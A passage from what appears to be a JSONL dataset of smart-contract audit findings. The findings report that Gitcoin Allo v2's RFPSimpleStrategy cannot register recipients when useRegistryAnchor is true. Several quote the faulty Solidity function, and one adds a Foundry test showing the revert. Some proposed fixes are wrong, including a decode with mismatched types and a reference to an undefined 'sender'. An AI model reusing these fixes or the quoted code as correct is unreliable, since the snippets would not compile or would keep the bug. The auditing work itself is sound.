else {\n // @custom:data when 'false' -> (address recipientAddress, address registryAnchor, uint256 proposalBid, Metadata metadata)\n (recipientAddress, registryAnchor, proposalBid, metadata) =\n abi.decode(_data, (address, address, uint256, Metadata));\n\n // Check if the registry anchor is valid so we know whether to use it or not\n isUsingRegistryAnchor = registryAnchor != address(0);\n\n // Ternerary to set the recipient id based on whether or not we are using the 'registryAnchor' or '_sender'\n recipientId = isUsingRegistryAnchor ? registryAnchor : _sender;\n\n // Checks if the '_sender' is a member of the profile 'anchor' being used and reverts if not\n if (isUsingRegistryAnchor && !_isProfileMember(recipientId, _sender)) revert UNAUTHORIZED();\n }\n\n // Check if the metadata is required and if it is, check if it is valid, otherwise revert\n if (metadataRequired && (bytes(metadata.pointer).length == 0 || metadata.protocol == 0)) {\n revert INVALID_METADATA();\n }\n\n if (proposalBid > maxBid) {\n // If the proposal bid is greater than the max bid this will revert\n revert EXCEEDING_MAX_BID();\n } else if (proposalBid == 0) {\n // If the proposal bid is 0, set it to the max bid\n proposalBid = maxBid;\n }\n\n // If the recipient address is the zero address this will revert\n if (recipientAddress == address(0)) revert RECIPIENT_ERROR(recipientId);\n\n // Get the recipient\n Recipient storage recipient = _recipients[recipientId];\n\n if (recipient.recipientStatus == Status.None) {\n // If the recipient status is 'None' add the recipient to the '_recipientIds' array\n _recipientIds.push(recipientId);\n emit Registered(recipientId, _data, _sender);\n } else {\n emit UpdatedRegistration(recipientId, _data, _sender);\n }\n\n // update the recipients data\n recipient.recipientAddress = recipientAddress;\n recipient.useRegistryAnchor = isUsingRegistryAnchor ? true : recipient.useRegistryAnchor;\n recipient.proposalBid = proposalBid;\n recipient.recipientStatus = Status.Pending;\n }\n```\n## Tool used\n\nManual Review\n\n## Recommendation\nTo fix this issue, you should provide the recipient's address when calling the `_registerRecipient `function, even when `useRegistryAnchor` is set to `true`. Alternatively, you can adjust the contract's logic to handle the case where `useRegistryAnchor` is true and recipient addresses are obtained from the registry.","dataSource":{"name":"sherlock-audit/2023-09-Gitcoin-judging","repo":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging","url":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging/blob/main//005-M/760.md"}} +{"title":"Registering of recipient in RFPSimpleStrategy will fail if useRegistryAnchor is enabled","severity":"medium","body":"Formal Wintergreen Mole\n\nmedium\n\n# Registering of recipient in RFPSimpleStrategy will fail if useRegistryAnchor is enabled\nDue to the check `if (recipientAddress == address(0)) revert RECIPIENT_ERROR(recipientId);` in the _registerRecipeitn function, under the condition of `useRegistryAnchor == true`, will always fail\n## Vulnerability Detail\nThe function divines a couple of parameters with their default values, meant to be used: \nhttps://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/strategies/rfp-simple/RFPSimpleStrategy.sol#L314-L324\n\nWhile `recipientAddress` is fetched in the else statement (line 335), it is not in the case of `useRegistryAnchor == true`\nhttps://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/strategies/rfp-simple/RFPSimpleStrategy.sol#L327-L346\n\nLooking into the foundry tests, I noticed that the scenario where `useRegistryAnchor == true` is never tested:\nhttps://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/test/foundry/strategies/RFPSimpleStrategy.t.sol#L46\n## Impact\nRegistering recipient will always fail when `useRegistryAnchor == true`\n## Code Snippet\nProvided in Vulnerability Detail\n## Tool used\n\nManual Review\n\n## Recommendation\nMove the `if (recipientAddress == address(0)) revert RECIPIENT_ERROR(recipientId);` to the `else` statement","dataSource":{"name":"sherlock-audit/2023-09-Gitcoin-judging","repo":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging","url":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging/blob/main//005-M/749.md"}} +{"title":"RFP strategy register always reverts if using registry Anchor","severity":"medium","body":"Boxy Clay Ladybug\n\nhigh\n\n# RFP strategy register always reverts if using registry Anchor\nIf `RFPSimpleStrategy.sol` has `useRegistryAnchor=true` `_registerRecipient()` will always revert.\n## Vulnerability Detail\nIn `_registerRecipient()` the `address recipientAddress;` variable is declared, however, if `useRegistryAnchor=true` the corresponding block of code doesn't assign any value to `recipientAddress` and later in the function the if-statement that checks if `recipientAddress==0` will revert the whole register thus disabling recipients from ever registering.\n```solidity\nfunction _registerRecipient(bytes memory _data, address _sender)\n internal\n override\n onlyActivePool\n returns (address recipientId)\n {\n bool isUsingRegistryAnchor;\n address recipientAddress;\n address registryAnchor;\n uint256 proposalBid;\n Metadata memory metadata;\n\n // Decode '_data' depending on the 'useRegistryAnchor' flag\n if (useRegistryAnchor) {\n /// @custom:data when 'true' -> (address recipientId, uint256 proposalBid, Metadata metadata)\n (recipientId, proposalBid, metadata) = abi.decode(_data, (address, uint256, Metadata));\n\n // If the sender is not a profile member this will revert\n if (!_isProfileMember(recipientId, _sender)) revert UNAUTHORIZED();\n } else {\n // some code ...\n }\n\n // Check if the metadata is required and if it is, check if it is valid, otherwise revert\n if (metadataRequired && (bytes(metadata.pointer).length == 0 || metadata.protocol == 0)) {\n revert INVALID_METADATA();\n }\n\n if (proposalBid > maxBid) {\n // If the proposal bid is greater than the max bid this will revert\n revert EXCEEDING_MAX_BID();\n } else if (proposalBid == 0) {\n // If the proposal bid is 0, set it to the max bid\n proposalBid = maxBid;\n }\n\n // If the recipient address is the zero address this will revert\n if (recipientAddress == address(0)) revert RECIPIENT_ERROR(recipientId);\n\n // more code\n }\n```\n## Impact\nStrategy is rendered unusable. \n## Code Snippet\nhttps://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/strategies/rfp-simple/RFPSimpleStrategy.sol#L314-L379\n## Tool used\n\nManual Review\n\n## Recommendation\nRework registering to be similar to the QV strategy implementation register","dataSource":{"name":"sherlock-audit/2023-09-Gitcoin-judging","repo":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging","url":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging/blob/main//005-M/734.md"}} +{"title":"RFPSimpleStrategy#_registerRecipient would always revert if useRegistryAnchor initialized with true","severity":"medium","body":"Bright Midnight Chipmunk\n\nhigh\n\n# RFPSimpleStrategy#_registerRecipient would always revert if useRegistryAnchor initialized with true\n\n`RFPSimpleStrategy#_registerRecipient` would always revert if `useRegistryAnchor` initialized with true\n\n## Vulnerability Detail\n\nIn the `RFPSimpleStrategy#_registerRecipient` function, several local variables are initialized with default (zero) values at the start. Among these is the `recipientAddress` variable, found on Line 321. The contract later checks, on Line 362, if this variable remains at the zero address, and if so, it reverts. Notably, the `recipientAddress` will ONLY be set to a non-zero value if the `useRegistryAnchor` is set to `false`, as seen on Line 335.\n\n## Impact\n\nIf the pool using the `RFPSimpleStrategy` is initialized with the `useRegistryAnchor` variable set to `true`, then registering new recipients will be impossible.\n\n## Code Snippet\nhttps://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/strategies/rfp-simple/RFPSimpleStrategy.sol#L314\n```solidity \nFile: RFPSimpleStrategy.sol\n314: function _registerRecipient(bytes memory _data, address _sender)\n315: internal\n316: override\n317: onlyActivePool\n318: returns (address recipientId)\n319: {\n320: bool isUsingRegistryAnchor;\n321: address recipientAddress;\n322: address registryAnchor;\n323: uint256 proposalBid;\n324: Metadata memory metadata;\n325: \n326: // Decode '_data' depending on the 'useRegistryAnchor' flag\n327: if (useRegistryAnchor) {\n328: /// @custom:data when 'true' -> (address recipientId, uint256 proposalBid, Metadata metadata)\n329: (recipientId, proposalBid, metadata) = abi.decode(_data, (address, uint256, Metadata));\n330: \n331: // If the sender is not a profile member this will revert\n332: if (!_isProfileMember(recipientId, _sender)) revert UNAUTHORIZED();\n333: } else {\n334: // @custom:data when 'false' -> (address recipientAddress, address registryAnchor, uint256 proposalBid, Metadata metadata)\n335: (recipientAddress, registryAnchor, proposalBid, metadata) =\n336: abi.decode(_data, (address, address, uint256, Metadata));\n337: \n338: // Check if the registry anchor is valid so we know whether to use it or not\n339: isUsingRegistryAnchor = registryAnchor != address(0);\n340: \n341: // Ternerary to set the recipient id based on whether or not we are using the 'registryAnchor' or '_sender'\n342: recipientId = isUsingRegistryAnchor ? registryAnchor : _sender;\n343: \n344: // Checks if the '_sender' is a member of the profile 'anchor' being used and reverts if not\n345: if (isUsingRegistryAnchor && !_isProfileMember(recipientId, _sender)) revert UNAUTHORIZED();\n346: }\n...\n360: \n361: // If the recipient address is the zero address this will revert\n362: if (recipientAddress == address(0)) revert RECIPIENT_ERROR(recipientId); \n...\n```\n\n## Tool used\n\nManual Review\n\n## Recommendation\n\nConsider refactoring the `_registerRecipient` function to prevent it from reverting when `useRegistryAnchor` is set to true. Additionally, ensure that the `recipient.recipientAddress` is not assigned a zero address in line 376.","dataSource":{"name":"sherlock-audit/2023-09-Gitcoin-judging","repo":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging","url":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging/blob/main//005-M/716.md"}} +{"title":"`RFPSimpleStrategy` does not work when configured with `useRegistryAnchor == true`","severity":"medium","body":"Tart Citron Platypus\n\nmedium\n\n# `RFPSimpleStrategy` does not work when configured with `useRegistryAnchor == true`\n\n## Vulnerability Detail\n\nWhen `useRegistryAnchor == true`, `recipientAddress` can not be passed from `_data`, resulting in a revert at L362.\n\nhttps://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/strategies/rfp-simple/RFPSimpleStrategy.sol#L314-L380\n\n## Impact\n\n## Code Snippet\n\n## Tool used\n\nManual Review\n\n## Recommendation\n\nConsider changing to similar as RFPSimpleStrategy L335 and DonationVotingMerkleDistributionBaseStrategy L541, keeping the `recipientAddress` field of `_data`:\n\n```solidity\nif (useRegistryAnchor) {\n /// @custom:data when 'true' -> (address recipientId, address recipientAddress, uint256 proposalBid, Metadata metadata)\n (recipientId, recipientAddress, proposalBid, metadata) = abi.decode(_data, (address, address, uint256, Metadata));\n```","dataSource":{"name":"sherlock-audit/2023-09-Gitcoin-judging","repo":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging","url":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging/blob/main//005-M/662.md"}} +{"title":"recipientAddress is not set when useRegistryAnchor is true","severity":"medium","body":"Faithful Carrot Okapi\n\nmedium\n\n# recipientAddress is not set when useRegistryAnchor is true\nIn `_registerRecipient` function of `RFPSimpleStrategy` contract `recipientAddress` is not set when `useRegistryAnchor` is true. Due to this `_registerRecipient` will always revert because of zero address check in the same function.\n\n## Vulnerability Detail\n\n\n\n1. If the strategy is initialised with `useRegistryAnchor` set to true, the `recipientAddress` in the `_registerRecipient` function which is initially 0, is not set or updated to the desired recipient address. \n2. Due to this the `_registerRecipient` because of the below check as recipientAddress will always be zero.\n ```solidity\n if (recipientAddress == address(0)) revert RECIPIENT_ERROR(recipientId);\n ```\n\n\n\n## Impact\n`_registerRecipient` function will always revert if `useRegistryAnchor` is true.\n\n## Code Snippet\n\n[https://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/strategies/rfp-simple/RFPSimpleStrategy.sol#L327-L332](https://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/strategies/rfp-simple/RFPSimpleStrategy.sol#L327-L332)\n\n[https://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/strategies/rfp-simple/RFPSimpleStrategy.sol#L362](https://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/strategies/rfp-simple/RFPSimpleStrategy.sol#L362)\n\n\n\n\n\n## Tool used\n\nManual Review\n\n## Recommendation\n```diff\n- (recipientId, proposalBid, metadata) = abi.decode(_data, (address, uint256, Metadata));\n+ (recipientAddress, recipientId, proposalBid, metadata) = abi.decode(_data, (address, uint256, Metadata));\n```","dataSource":{"name":"sherlock-audit/2023-09-Gitcoin-judging","repo":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging","url":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging/blob/main//005-M/625.md"}} +{"title":"Recipients cannot be registered if registry anchor is used in RFPSimpleStrategy","severity":"medium","body":"Ambitious Lemonade Chipmunk\n\nhigh\n\n# Recipients cannot be registered if registry anchor is used in RFPSimpleStrategy\nRecipients cannot be registered if registry anchor is used in RFPSimpleStrategy\n\n## Vulnerability Detail\nIf useRegistryAnchor is set to true in the __RFPSimpleStrategy_init() function, recipients cannot be registered for recipientAddress is always the zero address. (line 362)\n\nhttps://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/strategies/rfp-simple/RFPSimpleStrategy.sol#L320-L362\n\n## Impact\nRecipients cannot be registered\n\n## Code Snippet\nhttps://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/strategies/rfp-simple/RFPSimpleStrategy.sol#L320-L362\n\n## Tool used\n\nManual Review\n\n## Recommendation\nSet the value of recipientAddress properly.","dataSource":{"name":"sherlock-audit/2023-09-Gitcoin-judging","repo":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging","url":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging/blob/main//005-M/605.md"}} +{"title":"When `useRegistryAnchor` is true, RFPSimpleStrategy is bricked and all calls to `_registerRecipient` will revert","severity":"medium","body":"Sneaky Tan Hippo\n\nmedium\n\n# When `useRegistryAnchor` is true, RFPSimpleStrategy is bricked and all calls to `_registerRecipient` will revert\n\nThe RFPSimpleStrategy contract has the option of whether or not to use `useRegistryAnchor`, which will affect the logic when registering recipients. An issue arises when `useRegistryAnchor` is `true`, where all calls to `_registerRecipient` will revert resulting in the contract functionality being completely bricked and unusable.\n\n## Vulnerability Detail\n\nThe `_registerRecipient` function is defined as follows:\n```solidity\nfunction _registerRecipient(bytes memory _data, address _sender)\n internal\n override\n onlyActivePool\n returns (address recipientId)\n{\n bool isUsingRegistryAnchor;\n address recipientAddress;\n address registryAnchor;\n uint256 proposalBid;\n Metadata memory metadata;\n\n // Decode '_data' depending on the 'useRegistryAnchor' flag\n if (useRegistryAnchor) {\n /// @custom:data when 'true' -> (address recipientId, uint256 proposalBid, Metadata metadata)\n (recipientId, proposalBid, metadata) = abi.decode(_data, (address, uint256, Metadata));\n\n // If the sender is not a profile member this will revert\n if (!_isProfileMember(recipientId, _sender)) revert UNAUTHORIZED();\n } else {\n ...\n }\n\n ...\n\n // If the recipient address is the zero address this will revert\n if (recipientAddress == address(0)) revert RECIPIENT_ERROR(recipientId); // @issue\n\n ...\n}\n```\nWhen `useRegistryAnchor` is set to `true`, we run through the first branch of the if-statement, where we can see that `recipientAddress` is not set to anything. Since it is defined outside of this if-statement, its value will remain as address(0). Then later, we see that if `recipientAddress` is address(0), it will revert. Thus, this function will always revert.\n\n## Impact\n\nWhen `useRegistryAnchor` is `true`, all calls to `_registerRecipient` will revert, and since that's a core component to the RFPSimpleStrategy, effectively all logic is bricked.\n\n## Code Snippet\n\nReferenced lines of code:\nhttps://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/strategies/rfp-simple/RFPSimpleStrategy.sol#L314-L380\n\n## Tool used\n\nManual Review\n\n## Recommendation\n\nWhen `useRegistryAnchor` is `true`, `recipientAddress` should also be included in the `_data` passed to the `_registerRecipient` function.","dataSource":{"name":"sherlock-audit/2023-09-Gitcoin-judging","repo":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging","url":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging/blob/main//005-M/591.md"}} +{"title":"`RFPSimpleStrategy::_registerRecipient()` will always revert if `useRegistryAnchor` is \"true\"","severity":"medium","body":"Energetic Berry Llama\n\nhigh\n\n# `RFPSimpleStrategy::_registerRecipient()` will always revert if `useRegistryAnchor` is \"true\"\n`useRegistryAnchor` variable is set for every strategy during initialization. `_registerRecipient()` function will always revert in the `RFPSimpleStrategy` contract if the `useRegistryAnchor` is set \"true\". This issue doesn't happen in other strategy contracts, it is specific to `RFPSimpleStrategy` contract because the encoded data doesn't include `recipientAddress` variable in this contract.\n\n## Vulnerability Detail\n`_registerRecipient()` function takes two input parameters, `data` and `sender`. In a high-level overview this function:\n\n* decodes the `data` input\n \n* verifies if the `sender` is authorized to call this function\n \n* updates the recipient's data with the decoded input.\n \n\nThe data to input for this function is custom, and it differs according to `useRegistryAnchor` is enabled or not. This custom data is:\n\n* If `useRegistryAnchor` is \"true\": `(address recipientId, uint256 proposalBid, Metadata metadata)`\n \n* If `useRegistryAnchor` is \"false\": `(address recipientAddress, address registryAnchor, uint256 proposalBid, Metadata metadata)`\n \n\nAs you can see above, `recipientAddress` variable is never decoded in this function if the `useRegistryAnchor` is \"true\".\n\nHere is the `_registerRecipient()` function: [https://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/strategies/rfp-simple/RFPSimpleStrategy.sol#L310C1-L380C6](https://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/strategies/rfp-simple/RFPSimpleStrategy.sol#L310C1-L380C6)\n\n```solidity\n /// @custom:data when 'useRegistryAnchor' is 'true' -> (address recipientId, uint256 proposalBid, Metadata metadata)\n /// when 'useRegistryAnchor' is 'false' -> (address recipientAddress, address registryAnchor, uint256 proposalBid, Metadata metadata)\n /// @param _sender The sender of the transaction\n /// @return recipientId The id of the recipient\n function _registerRecipient(bytes memory _data, address _sender)\n internal\n override\n onlyActivePool\n returns (address recipientId)\n {\n bool isUsingRegistryAnchor;\n address recipientAddress;\n address registryAnchor;\n uint256 proposalBid;\n Metadata memory metadata;\n\n // Decode '_data' depending on the 'useRegistryAnchor' flag\n327.--> if (useRegistryAnchor) {\n /// @custom:data when 'true' -> (address recipientId, uint256 proposalBid, Metadata metadata)\n329.--> (recipientId, proposalBid, metadata) = abi.decode(_data, (address, uint256, Metadata)); //@audit this data doesn't include recipientAddress\n\n // If the sender is not a profile member this will revert\n if (!_isProfileMember(recipientId, _sender)) revert UNAUTHORIZED();\n } else {\n // I skipped this \"else\" part for brevity. Not important for this submission\n }\n\n // Check if the metadata is required and if it is, check if it is valid, otherwise revert\n if (metadataRequired && (bytes(metadata.pointer).length == 0 || metadata.protocol == 0)) {\n revert INVALID_METADATA();\n }\n\n if (proposalBid > maxBid) {\n // If the proposal bid is greater than the max bid this will revert\n revert EXCEEDING_MAX_BID();\n } else if (proposalBid == 0) {\n // If the proposal bid is 0, set it to the max bid\n proposalBid = maxBid;\n }\n\n // If the recipient address is the zero address this will revert\n362.--> if (recipientAddress == address(0)) revert RECIPIENT_ERROR(recipientId); //@audit it will always revert right here if useRegistryAnchor is true.\n\n // Get the recipient\n Recipient storage recipient = _recipients[recipientId];\n\n if (recipient.recipientStatus == Status.None) {\n // If the recipient status is 'None' add the recipient to the '_recipientIds' array\n _recipientIds.push(recipientId);\n emit Registered(recipientId, _data, _sender);\n } else {\n emit UpdatedRegistration(recipientId, _data, _sender);\n }\n\n // update the recipients data\n recipient.recipientAddress = recipientAddress;\n recipient.useRegistryAnchor = isUsingRegistryAnchor ? true : recipient.useRegistryAnchor;\n recipient.proposalBid = proposalBid;\n recipient.recipientStatus = Status.Pending;\n }\n```\n\n* If `useRegistryAnchor` is \"true\", the function will execute the \"*if*\" part of the function. At this point, `recipientAddress` is still 0.\n \n* The function will continue to execute but it will revert in line 362, since the `recipientAddress` is never decoded and is still 0.\n\n## Impact\nThe function will always revert if the `useRegistryAnchor` is enabled and no recipient will be registered.\n\n## Code Snippet\nhttps://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/strategies/rfp-simple/RFPSimpleStrategy.sol#L327C2-L329C100\n\n```solidity\n if (useRegistryAnchor) {\n /// @custom:data when 'true' -> (address recipientId, uint256 proposalBid, Metadata metadata)\n (recipientId, proposalBid, metadata) = abi.decode(_data, (address, uint256, Metadata));\n```\n\nhttps://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/strategies/rfp-simple/RFPSimpleStrategy.sol#L362\n```solidity \n if (recipientAddress == address(0)) revert RECIPIENT_ERROR(recipientId);\n```\n\n## Coded PoC\nYou can use the protocol's exact test setup to prove this PoC. \n\\- Copy the code snippet below and paste it in the `RFPSimpleStrategy.t.sol` test file. \n\\- Run `forge test --match-test testRevert_registerRecipient_withUseRegistryAnchor_RECIPIENT_ERROR`\n\n```solidity\n //@audit revert when useRegistryAnchor is true even though the sender is owner or member.\n function testRevert_registerRecipient_withUseRegistryAnchor_RECIPIENT_ERROR() public {\n RFPSimpleStrategy testStrategy = new RFPSimpleStrategy(address(allo()), \"RFPSimpleStrategy\");\n vm.prank(address(allo()));\n \n // initialize with useRegistryAnchor = true\n testStrategy.initialize(1337, abi.encode(maxBid, true, metadataRequired));\n\n // Get the registry anchor address and create metadata for function input \n address anchor = poolProfile_anchor();\n Metadata memory metadata = Metadata({protocol: 1, pointer: \"metadata\"});\n\n // Create the custom data for the function\n bytes memory data = abi.encode(anchor, 1e18, metadata);\n\n // This will revert even though the sender is owner or member.\n // It will revert with RECIPIENT_ERROR.\n vm.expectRevert(abi.encodeWithSelector(RECIPIENT_ERROR.selector, anchor));\n vm.prank(address(allo()));\n testStrategy.registerRecipient(data, pool_admin());\n }\n```\n\nThe test result after running is below:\n\n```solidity\nRunning 1 test for test/foundry/strategies/RFPSimpleStrategy.t.sol:RFPSimpleStrategyTest\n[PASS] testRevert_registerRecipient_withUseRegistryAnchor_RECIPIENT_ERROR() (gas: 2579906)\nTest result: ok. 1 passed; 0 failed; 0 skipped; finished in 9.79ms\n \nRan 1 test suites: 1 tests passed, 0 failed, 0 skipped (1 total tests)\n```\n\n## Tool used\n\nManual Review\n\n## Recommendation\nInclude `recipientAddress` to the custom data.","dataSource":{"name":"sherlock-audit/2023-09-Gitcoin-judging","repo":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging","url":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging/blob/main//005-M/527.md"}} +{"title":"If RFPSimpleStrategy wants to use the registry anchor, _registerRecipient will always revert","severity":"medium","body":"Furry Cider Panda\n\nmedium\n\n# If RFPSimpleStrategy wants to use the registry anchor, _registerRecipient will always revert\n\n[[useRegistryAnchor](https://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/strategies/rfp-simple/RFPSimpleStrategy.sol#L107)](https://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/strategies/rfp-simple/RFPSimpleStrategy.sol#L107) indicates whether to use the registry anchor or not. This value is [[set when RFPSimpleStrategy is created](https://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/strategies/rfp-simple/RFPSimpleStrategy.sol#L164)](https://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/strategies/rfp-simple/RFPSimpleStrategy.sol#L164) and cannot be changed. If the value is true, [[_registerRecipient](https://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/strategies/rfp-simple/RFPSimpleStrategy.sol#L314)](https://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/strategies/rfp-simple/RFPSimpleStrategy.sol#L314) will execute [[the logic of useRegistryAnchor=true](https://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/strategies/rfp-simple/RFPSimpleStrategy.sol#L328-L332)](https://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/strategies/rfp-simple/RFPSimpleStrategy.sol#L328-L332) but not [[the logic of false](https://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/strategies/rfp-simple/RFPSimpleStrategy.sol#L334-L345)](https://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/strategies/rfp-simple/RFPSimpleStrategy.sol#L334-L345). However, when `useRegistryAnchor = true`, the current implementation does not assign a value to [[recipientAddress](https://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/strategies/rfp-simple/RFPSimpleStrategy.sol#L321)](https://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/strategies/rfp-simple/RFPSimpleStrategy.sol#L321), resulting in revert [[here](https://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/strategies/rfp-simple/RFPSimpleStrategy.sol#L362)](https://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/strategies/rfp-simple/RFPSimpleStrategy.sol#L362).\n\n## Vulnerability Detail\n\n```solidity\nFile: contracts\\strategies\\rfp-simple\\RFPSimpleStrategy.sol\n314: function _registerRecipient(bytes memory _data, address _sender)\n......\n319: {\n320: bool isUsingRegistryAnchor;\n321:-> address recipientAddress;\n......\n326: // Decode '_data' depending on the 'useRegistryAnchor' flag\n327: if (useRegistryAnchor) {\n328: /// @custom:data when 'true' -> (address recipientId, uint256 proposalBid, Metadata metadata)\n329:-> (recipientId, proposalBid, metadata) = abi.decode(_data, (address, uint256, Metadata));\n330: \n331: // If the sender is not a profile member this will revert\n332: if (!_isProfileMember(recipientId, _sender)) revert UNAUTHORIZED();\n333: } else {\n......\n346: }\n......\n361: // If the recipient address is the zero address this will revert\n362:-> if (recipientAddress == address(0)) revert RECIPIENT_ERROR(recipientId);\n......\n380: }\n```\n\nWe can see that `recipientAddress` is never assigned, therefore, L362 will definitely revert. `recipientAddress` should come from `_data`.\n\n## Impact\n\nIf `useRegistryAnchor = true`, no one can successfully register as a recipient. This breaks the assumption of the protocol and `_registerRecipient` does not work as expected.\n\n## Code Snippet\n\nhttps://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/strategies/rfp-simple/RFPSimpleStrategy.sol#L328-L332\n\nhttps://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/strategies/rfp-simple/RFPSimpleStrategy.sol#L362\n\n## Tool used\n\nManual Review\n\n## Recommendation\n\n```fix\nFile: contracts\\strategies\\rfp-simple\\RFPSimpleStrategy.sol\n327: if (useRegistryAnchor) {\n328: /// @custom:data when 'true' -> (address recipientId, uint256 proposalBid, Metadata metadata)\n329:- (recipientId, proposalBid, metadata) = abi.decode(_data, (address, uint256, Metadata));\n329:+ (recipientId, recipientAddress, proposalBid, metadata) = abi.decode(_data, (address, address, uint256, Metadata));\n330: \n331: // If the sender is not a profile member this will revert\n332: if (!_isProfileMember(recipientId, _sender)) revert UNAUTHORIZED();\n333: } else {\n```","dataSource":{"name":"sherlock-audit/2023-09-Gitcoin-judging","repo":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging","url":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging/blob/main//005-M/476.md"}} +{"title":"Recipient can't register in RFPSimpleStrategy and RFPCommitteeStrategy contract when `useRegistryAnchor == true`","severity":"medium","body":"Immense Teal Penguin\n\nmedium\n\n# Recipient can't register in RFPSimpleStrategy and RFPCommitteeStrategy contract when `useRegistryAnchor == true`\nRecipient can't register in RFPSimpleStrategy and RFPCommitteeStrategy contract when `useRegistryAnchor == true`\n## Vulnerability Detail\nIf the state variable `useRegistryAnchor` (which can only be set one time in `initialize()`) is equal to true, then everytime recipients register using `registerRecipient()` will be reverted. It reverted because the function's variable `recipientAddress` is always equal to default value which is address(0), causing reverted in this line: `if (recipientAddress == address(0)) revert RECIPIENT_ERROR(recipientId);`\n\n```solidity\n function _registerRecipient(bytes memory _data, address _sender)\n internal\n override\n onlyActivePool\n returns (address recipientId)\n {\n bool isUsingRegistryAnchor;\n address recipientAddress;\n address registryAnchor;\n uint256 proposalBid;\n Metadata memory metadata;\n\n if (useRegistryAnchor) {//<@@@ recipientAddress never set when useRegistryAnchor = true\n (recipientId, proposalBid, metadata) = abi.decode(_data, (address, uint256, Metadata));\n \n if (!_isProfileMember(recipientId, _sender)) revert UNAUTHORIZED();\n } else {\n ...\n }\n ...\n\n if (recipientAddress == address(0)) revert RECIPIENT_ERROR(recipientId);//<@@@ reverted here\n\n ...\n }\n\n```\n## Impact\nRecipient can't register in RFPSimpleStrategy and RFPCommitteeStrategy based contracts \n## Code Snippet\nhttps://github.com/sherlock-audit/2023-09-Gitcoin/blob/6430c8004017e96ae2f5aac365bdefd0b6eeea72/allo-v2/contracts/strategies/rfp-simple/RFPSimpleStrategy.sol#L314-L380\n## Tool used\n\nManual Review\n\n## Recommendation\nAdd this line:\n```solidity\n function _registerRecipient(bytes memory _data, address _sender)\n internal\n override\n onlyActivePool\n returns (address recipientId)\n {\n bool isUsingRegistryAnchor;\n address recipientAddress;\n address registryAnchor;\n uint256 proposalBid;\n Metadata memory metadata;\n\n if (useRegistryAnchor) {\n (recipientId, proposalBid, metadata) = abi.decode(_data, (address, uint256, Metadata));\n\n if (!_isProfileMember(recipientId, _sender)) revert UNAUTHORIZED();\n\n+ recipientAddress = sender;\n } else {\n```","dataSource":{"name":"sherlock-audit/2023-09-Gitcoin-judging","repo":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging","url":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging/blob/main//005-M/447.md"}} +{"title":"````_registerRecipient()```` of ````RFPSimpleStrategy```` always reverts while ````useRegistryAnchor```` enabled","severity":"medium","body":"Atomic Ultraviolet Mole\n\nhigh\n\n# ````_registerRecipient()```` of ````RFPSimpleStrategy```` always reverts while ````useRegistryAnchor```` enabled\nIn ````_registerRecipient()```` function of ````RFPSimpleStrategy```` contract, The ````recipientAddress```` is not decoded from ````_data```` parameter while ````useRegistryAnchor```` is enabled, the default 0 ````recipientAddress```` would cause ````_registerRecipient()```` function to revert always, no recipients can be registered. As the ````useRegistryAnchor```` is set only in constructor, therefore, all ````RFPSimpleStrategy```` instances with ````useRegistryAnchor```` enabled become useless.\n\n## Vulnerability Detail\nLet's look at the implementation of ````_registerRecipient()````, please pay attention on L321 and L327~L332, ````recipientAddress```` is keeping as the 